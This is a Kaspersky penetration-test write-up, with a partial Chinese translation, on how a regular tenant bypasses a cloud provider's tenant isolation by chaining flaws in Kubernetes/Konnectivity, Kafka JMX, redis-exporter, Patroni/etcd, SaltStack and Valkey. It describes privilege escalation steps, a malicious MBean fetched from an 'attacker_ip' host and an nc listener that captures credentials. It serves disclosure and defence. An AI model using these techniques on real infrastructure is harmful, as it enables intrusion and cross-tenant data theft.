An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure不安全的邻居:漏洞链如何导致云基础设施中的隔离绕过
A Kaspersky expert presents a cloud isolation bypass case honored at Russian Pentest Award 2026. Learn how vulnerabilities in Kubernetes, Konnectivity, and the overlay network lead to RCE and compromise of other tenants’ services.

Kaspersky Security Services
1. Gaining initial access through a managed Kubernetes cluster
1.1. Escaping the worker node
1.2. Analysis of control plane services
1.3. Exploiting Konnectivity
1.4. Privilege escalation on the host
2. Adventures in the overlay network
2.2. Compromising managed Kafka instances
2.3. Credential leakage through redis-exporter
2.4. Compromise of managed PostgreSQL (Patroni) clusters
3. Attack on SaltStack management infrastructure
3.1. Analysis of salt fs
3.2. Exploiting the SQLi
4. Other ways to attack the cloud
4.1. Exploiting a vulnerability in Managed Valkey
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026 . It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
First, we created a resource in the cloud’s managed Kubernetes cluster ( v1.25.16+k0s.0 ). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address ( 192.168.0.4 ) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server , inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s : this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect . This method accepts a Packet stream.
The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
The server reads any Packet packets from the stream initiated by the agent (worker node):
Next, the packets go to the backend manager:
Then comes the most interesting part:
In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus ( - /run/dbus/system_bus_socket ) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
The following sockets were then opened:
Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:
The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:
As a result, we successfully received a callback from the control plane.
Konnectivity-server context and node network interfaces
Mirantis, the company behind the k0s project, confirmed the vulnerability .
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud. Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry .
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java : connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
JmxInvoke.java : invokes the selected MBean method through the JMX Registry.
ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
After compiling our custom MBean , we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
We then perform the following steps:
Create a standard MLet loader inside the Kafka JVM .
Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component ( DefaultDomain:type=MLet ). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html .
Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379 , makes it possible to intercept the following credentials:
AUTH command in an intercepted Redis request
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 ( Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config , which contained the Patroni configuration.
Patroni configuration in etcd { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "ttl" : 30 , "loop_wait" : 10 , "retry_timeout" : 10 , "maximum_lag_on_failover" : 1048576 , "postgresql" : { "use_pg_rewind" : true , "parameters" : { "archive_command" : "id" , "archive_mode" : "always" , "max_connections" : 550 , "max_locks_per_transaction" : 512 , "max_worker_processes" : 27 } } } Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Patroni configuration in etcd
Update the Patroni configuration with the modified archive_command :
Update the configuration again to add the standby_cluster parameter:
After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
Postgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script ( _pillar/somebase.py ) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services , in a single step.
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243 . At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64 .
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
The MySQL database user didn’t have root privileges when the resource was created.
However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
This vector made it possible to inject line breaks and override critical configuration parameters:
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
Result of executing id via MySQL UDF
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
Vulnerabilities and exploits
An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure
This site uses Akismet to reduce spam. Learn how your comment data is processed.
GReAT Ideas. Balalaika Edition
GReAT Ideas. Green Tea Edition
GReAT Ideas. Powered by SAS: malware attribution and next-gen IoT honeypots
GReAT Ideas. Powered by SAS: threat actors advance on new fronts
GReAT Ideas. Powered by SAS: threat hunting and new techniques
From the same authors
Anatomy of a Cyber World Global Report 2026
Goodbye, dark Telegram: Blocks are pushing the underground out
Inside the dark web job market
Signal in the noise: what hashtags reveal about hacktivism in 2025
Managed detection and response in 2024
In the same category
How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia
Operation FlashHole: Lazarus breaks security, defies control
The journey of a paper unicorn: adventures inside a modern warehouse
Crypto wasted: BlueNoroff’s ghost mirage of funding and jobs
The Crypto Game of Lazarus APT: Investors vs. Zero-days
卡巴斯基安全服务
1. 通过托管的 Kubernetes 集群获得初始访问权限
1.1. 逃离工作节点
1.2. 控制平面服务分析
1.3. 利用连接性
1.4. 主机上的权限提升
2. 叠加网络探险
2.2. 入侵托管 Kafka 实例
2.3. 通过 redis-exporter 泄露凭证
2.4.托管PostgreSQL(Patroni)集群遭到入侵
3. 对 SaltStack 管理基础设施的攻击
3.1. 盐 fs 分析
3.2 利用 SQL 注入漏洞
4. 攻击云的其他方法
4.1. 利用 Managed Valkey 中的漏洞
本文仅供教育用途,旨在提高信息安全专业人员的安全意识。这项研究是某主流平台官方漏洞赏金计划的一部分。我们已根据负责任披露政策将漏洞情况告知云服务提供商,所有发现的安全问题均已得到彻底修复。本文分析的基础设施已匿名化处理,因此无法识别相关组织。我们认为,定期的渗透测试、漏洞赏金计划以及开发人员与独立研究人员之间的交流是任何IT产品安全的基础。
许多专家认为,云数据泄露大多是客户的责任,例如存储配置错误或端口开放等问题。然而,我们对一家大型云服务提供商进行的渗透测试表明,关键威胁也可能源自服务提供商自身的基础设施。
本分析基于一个真实案例,该案例在2026年俄罗斯渗透测试奖(Russian Pentest Award 2026)的系统攻击(Web & Logic)类别中荣获第二名。它涵盖了对多个漏洞和逻辑错误的逐步利用。这些漏洞和逻辑错误共同导致了严重的业务后果,并彻底绕过了云端租户隔离机制。2026年10月22日,我在安全分析师峰会(SAS 2026)上发表了题为“打破租户边界”的演讲,对该案例进行了技术分析。
我们的云基础设施渗透测试遵循外部攻击者拥有普通租户权限的威胁模型。攻击的最终目标是完全控制云端。
首先,我们在云端托管的 Kubernetes 集群(版本 1.25.16+k0s.0)中创建了一个资源。通常情况下,服务提供商会限制租户对工作节点的 SSH 访问权限,因为他们付费购买的是托管服务,而不是服务器本身的运行。然而,在本例中,集群的安全策略并未阻止创建具有主机命名空间访问权限的特权 Pod。这使得我们能够部署 Pod 并将执行上下文切换到运行该容器的主机。
创建特权 pod 后,我们在容器内运行了 nsenter 命令。该命令将执行上下文转移到了宿主机上:
之后,bash shell 运行在实际的主机上,而不是容器内部。由于 pod 具有特权,我们获得了对主机的完全 root 访问权限。
Kubelet 配置和 API 服务器地址
接下来,我们分析了它的文件系统。在研究数据平面时,我们发现了一个 Konnectivity 服务令牌。该组件在 Kubernetes 集群的控制平面和数据平面之间建立了一条隧道。正是这个组件为攻击的开发提供了绝佳的机会。
Konnectivity 服务帐户令牌
在获得主机(即之前提到的工作节点)的访问权限后,我们分析了其网络接口:用户 VPC 接口和 Calico 接口。我们从 kubelet 配置文件中提取了 kube-apiserver 地址(192.168.0.4)。随后对该地址进行扫描,发现了以下开放端口:
其中最值得关注的是 8132 端口,Konnectivity 服务就运行在该端口上。该服务在控制平面和数据平面之间建立反向隧道,使数据平面能够从控制平面访问。这使得管理组件能够与工作节点通信,即使这些节点位于 NAT 之后。之前找到的 Konnectivity 令牌授予了与此服务交互的权限。
通过 Konnectivity 实现控制平面和数据平面之间的交互图
为了分析 8132 端口上的服务,我们部署了一个本地测试环境。我们发现 v1.25.16+k0s.0 使用了 konnectivty-server 的一个分支,该分支继承自原始 Kubernetes 中的 apiserver-network-proxy。
k0s简介:这是一个专为云服务提供商设计的极简Kubernetes发行版。它为部署资源开销最小的托管集群(mk8s)提供了便捷的基础。k0s的一个重要特性是,默认情况下禁用在控制平面节点(也称为主节点)上运行用户Pod。这满足了mk8s对控制平面隔离的安全要求。
上文提到的 8132 端口托管着 AgentService 服务,该服务提供一个方法:Connect。此方法接受一个数据包流。
代码揭示了一个有趣的细节:当 AgentService 从工作节点收到 DIAL_REQ 类型的数据包时,服务器会在控制平面端调用 net.Dial() 函数。Connect 方法的数据包结构如下所示:
服务器读取代理(工作节点)发起的流中的所有 Packet 数据包:
接下来,数据包将发送到后端管理器:
接下来是最精彩的部分:
换句话说,来自代理(工作节点)的 DIAL_REQ 被认为是有效的,并传递给相应类型(DIAL_REQ)的数据包处理程序。
这在控制平面上下文中创建了一个 SSRF 原语,使得攻击者不仅可以访问网络资源,还可以访问主机 UNIX 套接字。D-Bus(-/run/dbus/system_bus_socket)被选为交互的理想目标。busctl 工具显示了控制平面上可用的以下服务:
我们使用基于 github.com/godbus/dbus/v5 编写的自定义 D-Bus 客户端,通过 org.freedesktop.DBus.GetConnectionCredentials 方法获取了当前进程的 UID。在本例中,该 UID 为 997。遗憾的是,它不是 root 用户,这意味着我们无法立即在 systemd 中启动系统服务。但是,我们仍然可以创建用户服务(system -user)。为此,我们首先为 UID 启用了持久化(lingering):
随后打开了以下插槽:
通过这个新的套接字,我们调用了 org.freedesktop.systemd1.Manager 服务的 StartTransientUnit 方法:
properties 参数正是用来传递标准的 systemd 服务定义指令的地方。我们添加了以下代码行:
因此,我们成功收到了来自控制平面的回调。
Konnectivity 服务器上下文和节点网络接口
k0s 项目背后的公司 Mirantis 证实了该漏洞的存在。
由于 konnectivity-server 默认以受限权限运行,因此在控制平面上获得远程代码执行 (RCE) 后,下一步是提升权限。对控制平面节点上的进程进行分析后发现,salt-minion 服务正在运行。root 权限允许以 salt-minion 的身份进行身份验证,并可对其发起进一步攻击(稍后详述)。
在本例中,目标主机运行的是 Ubuntu 22.04,内核版本为 5.15.x。由于启用了用户命名空间,OverlayFS 中的一个已知漏洞为权限提升提供了一条可行的途径:它允许文件在命名空间操作后保留 cap_setuid+eip 功能。
为了利用该漏洞,创建了一个设置了 setuid 功能的 python3 解释器副本,从而获得了 root 权限。
确认以 root 权限执行命令
获取root权限后,便开辟了几个有趣的攻击途径:
我们在主机上的 100.64.0.0/10 子网中发现了一个 eth2 接口。云端的覆盖网络是扁平的,这使得我们可以查看所有托管服务。
该系统存储了一个 Salt-Minion 密钥对。这通过 SaltStack 提供了对托管云自身控制平面的访问权限,从而显著扩大了攻击面。
对受管资源内部网络活动的检查立即得出了一些有趣的结果。流量分析显示,来自特定 IP 地址的请求试图从我们部署在 mk8s 中的 kube-state-metrics 实例收集节点指标。经查明,该 IP 地址属于一个指标收集器,它是 VictoriaMetrics 服务于众多受管资源的实例之一。与 Prometheus 类似,VictoriaMetrics API 也公开了一个用于收集指标的目标列表。
当我们查询 http://100.64.13.37:8429/api/v1/targets 端点时,我们发现每个目标的标签都包含有价值的元数据:
值得注意的是,一次 VictoriaMetrics 查询即可返回属于其他云租户的所有控制平面主机的完整列表。端口 6897 表明 kube-state-metrics 导出器正在运行,而 profile: kubernetes 字段进一步确认了此地址的目标类型。
我们在同一网络上发现了另一个来自 Victoria 生态系统的主机:VictoriaLogs。该服务在 9428 端口上的 Web 界面也暴露了 API 端点,这些端点可能会泄露敏感数据。例如,/select/logsql/query 端点允许未经授权访问云端任何托管资源的全部日志。对 mk8s 控制平面日志的分析揭示了一个关键细节:cloud-init 脚本默认会为 root 账户生成私钥。这些密钥会被输出到标准输出(stdout),并自动保存到共享系统日志中。
通过关联 VictoriaMetrics 中的特定标签值,我们得以重建目标主机的原始名称。这使得在 VictoriaLogs 中筛选数据变得更加容易,并能将泄露的私钥明确匹配到可用于该私钥的目标节点。
VictoriaLogs 记录中的私钥
我们可以使用被泄露的私钥作为特权帐户,通过 SSH 连接到目标节点,从而完全控制其他租户的集群。
主机上的进程权限和 Kubernetes 中的可用操作
来自其他类型服务的日志可能会泄露更多敏感数据,从而进一步加剧影响。
我们探索了部署托管 Apache Kafka 资源的方案。不出所料,我们在扁平覆盖网络上也发现了这些实例。其中一台 Kafka 主机开放了 9999 端口,经查明该端口是一个 JMX 注册表。
在端口 9999 上发现了 Java RMI 服务
JMX 注册机制本身存在漏洞:它会向调用客户端返回一个 RMI 存根主机,这使得攻击者可以远程加载任意自定义 MBean 类并执行任意代码。我们使用 `nmap -sC` 命令扫描了注册端口,以确定接下来要交互的 RMI 服务的确切端口。为了实施攻击,我们准备了一组结构如下的 Java 脚本:
JmxCreateMBean.java:连接到 JMX 注册表并创建一个 MBean 组件 javax.management.loading.MLet(一个从指定 URL 加载类的类)。
JmxInvoke.java:通过 JMX 注册表调用选定的 MBean 方法。
ExecMBean.java 和 Exec.java 是一个自定义的轻量级测试 MBean 组件,它有一个 run(String cmd) 方法,为远程命令执行提供接口。
处理 MBean 组件连接和初始化的代码如下所示:
以下是恶意 Exec.java 类的实现,它提供了执行 shell 命令以及使用 Base64 编码读取和写入文件的方法:
编译自定义 MBean 后,我们将生成的 JAR 文件放在远程 Web 服务器上,并准备一个 mlet.html 配置文件,以便目标服务器可以加载它。
然后我们执行以下步骤:
在 Kafka JVM 中创建一个标准的 MLet 加载器。
通过调用标准 MLet 组件(DefaultDomain:type=MLet)的 getMBeansFromURL 方法,将恶意 MBean 加载到目标服务器上。准备好的文件的 URL 作为参数传递:http://attacker_ip:8000/mlet.html。
调用已加载的 MBean 的 run(String cmd) 方法,即可在主机上实现远程代码执行 (RCE)。
Kafka 进程上下文和节点网络接口
之所以会出现这种攻击途径,是因为 RMI 存根主机(安全标准要求它只能绑定到环回接口 (127.0.0.1))被错误地暴露给了云的共享覆盖网络。
下一步是分析运行托管 Redis 实例的主机。除了 Redis 使用的 6379 主端口外,每台主机还在 9121 端口上运行着一个 Redis Exporter 服务。对其源代码的分析揭示了目标参数处理方式中的一个逻辑漏洞:
本质上,/scrape 处理程序接受一个任意的目标参数,并尝试使用导出器连接到其主 Redis 实例的相同凭据从该目标收集指标。将 Redis 导出器请求定向到攻击者控制的主机(例如运行 nc -nvlp 6379 的主机),就可以拦截以下凭据:
拦截到的 Redis 请求中的 AUTH 命令
捕获到的凭据允许访问其他客户的 Redis 实例,以读取、修改或删除存储的数据。
Valkey实例的诊断信息
(注:研究过程中披露了一个 Redis 远程代码执行漏洞。结合已获得的访问权限,可以完全控制其他租户的服务。)
PostgreSQL 数据库管理系统是与 mk8s 并驾齐驱的热门托管资源之一。因此,下一步是分析覆盖网络中的 PostgreSQL 主机。扫描开放 PostgreSQL 端口 (5432) 的节点,发现端口 2379(一个 etcd 分布式存储)和 8008(Patroni REST API)上运行着相关服务。虽然 Patroni REST API 需要身份验证,但对 etcd 的访问却完全不受限制。对 etcd 内容的分析发现了一个关键键 /v2/keys/service/pg-cluster/config,其中包含 Patroni 配置。
etcd 中的 Patroni 配置 { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "ttl" : 30 , "loop_wait" : 10 , "retry_timeout" : 10 , "maximum_lag_on_failover" : 1048576,"postgresql":{"use_pg_rewind":true,"parameters":{"archive_command":"id","archive_mode":"always","max_connections":550,"max_locks_per_transaction":512,"max_worker_processes":27} } } 对此配置文件的写入权限允许攻击者将 archive_command 设置为他们选择的命令,并在归档进程启动时实现目标主机的远程代码执行 (RCE)。为了避免等待 WAL 日志通过正常活动填满,我们找到了一种方法,即使只有最低访问权限也能强制执行归档:
etcd 中的 Patroni 配置
使用修改后的 archive_command 更新 Patroni 配置:
再次更新配置,添加 standby_cluster 参数:
应用此参数后,Patroni 检测到当前主角色存在冲突。日志显示类似以下内容的序列:
Postgres随后重启,归档进程运行并执行注入的命令:
PostgreSQL 进程上下文和节点网络接口
这使得攻击者可以登录其他租户的Postgres数据库管理系统实例,并获得对数据的完全控制权。此外,这些主机上还发现了包含访问S3存储凭据的文件,这构成了另一项风险因素。
备份文件中的数据库和 S3 访问参数
该存储空间不仅保存当前实例的备份,还保存云端所有其他数据库的备份。
S3 中的备份存储位置列表
在获得控制平面节点的 root 权限后,重点转移到了 SaltStack 配置管理服务。
第一步是导出整个 Salt 主文件系统,以便进行后续的静态分析:
Salt Master 文件列表片段
它包含许多文件。
由于使用的 Salt 版本是最新的,因此没有已知的 CVE 漏洞适用。但是,我们在 Salt master 服务器上的文件中找到了一个自定义脚本 (_pillar/somebase.py),该脚本存在严重漏洞。供应商编写此脚本是为了服务于运行 somebase 服务的 minions。该漏洞在于使用 query.format() 方法构建 SQL 查询时存在不安全之处:
Salt Minion 可以触发 pillar 刷新并将任意元数据(grains)传递给 Salt Master。这使得攻击者可以通过 grains 中的 some_id 参数注入 SQL 代码。当 Salt Master 端的扩展程序处理该请求时,生成的 SQL 查询会在 prod-cloud 数据库中执行。因此,该漏洞使得基于错误的 SQL 注入成为可能。
柱处理过程中出现数据库错误
该漏洞使得攻击者能够访问多个数据库模式。其中最值得关注的是 cloudsmth 模式,该模式包含约 50 个表,其中包含所有托管资源和虚拟分布式系统 (VDS) 的元数据。
cloudsmth 模式中的表列表片段
更值得注意的是 salt-masters 表,其中保存了所有 Salt master 的身份验证令牌。
带有 Salt Master 身份验证令牌的记录
利用这些令牌,我们可以访问 Salt 主 REST API,并在云端所有 minions 上运行任意命令:
经与供应商协商,攻击并未进一步展开。即便如此,如果能够访问 salt-masters 表和 prod-cloud 数据库,攻击者就能一步接管所有资源,包括 VDS、S3 和其他服务。
值得一提的是,还有其他一些方法可以进入覆盖网络,因为其中一些方法也产生了一些有趣的案例。
在分析部署在云基础设施中的 Valkey 实例时,我们发现所使用的软件版本存在 CVE-2026-25243 漏洞。分析时,尚无公开的概念验证 (PoC) 或漏洞利用程序。为了研究该漏洞的表现形式,我们分析了 INFO 命令返回的诊断数据:
redis_build_id 标识符使得确定正在使用的确切二进制文件成为可能。它与 Ubuntu Noble x86_64 的官方构建版本相匹配。
CVE-2026-25243 是由 RESTORE 命令错误处理序列化的 RDB 对象引起的。当使用旧版 hash-zipmap 编码时,验证器接受 5 字节长度的短键表示,但后续的解析器会将键的内部字节解释为值长度的编码。这种不匹配会导致越界写入,覆盖相邻的堆块(堆溢出),进而可能导致任意写入攻击。在成功对相邻内存区域进行任意写入后,严格的 systemd 沙箱规则构成了障碍:
这些参数会阻止标准 shell(例如 /bin/sh)的执行。即便如此,/tmp 目录仍然以写入权限挂载。通过修改进程逻辑,我们可以触发从 /tmp 下载并执行第三方组件,而该组件不受 noexec 规则的限制。建立稳定的通信通道后,我们将 SSH 密钥添加到 /var/lib/valkey/.ssh/authorized_keys 文件中。这使我们获得了对主机的独立访问权限,并能够通过标准的本地提权 (LPE) 方法进一步提升权限。
Valkey 过程上下文和盐粒参数
本案中触发了 GRO Frag 漏洞,但每周都会披露新的 LPE,因此可能还有许多其他方法可以提升权限并继续攻击 Salt master。
创建资源时,MySQL 数据库用户没有 root 权限。
然而,应用程序逻辑允许该用户使用动态权限删除并重新创建表:
数据库重启并创建新用户后,该用户自动获得了完整的管理员权限。接下来,我们为其添加了更多权限:
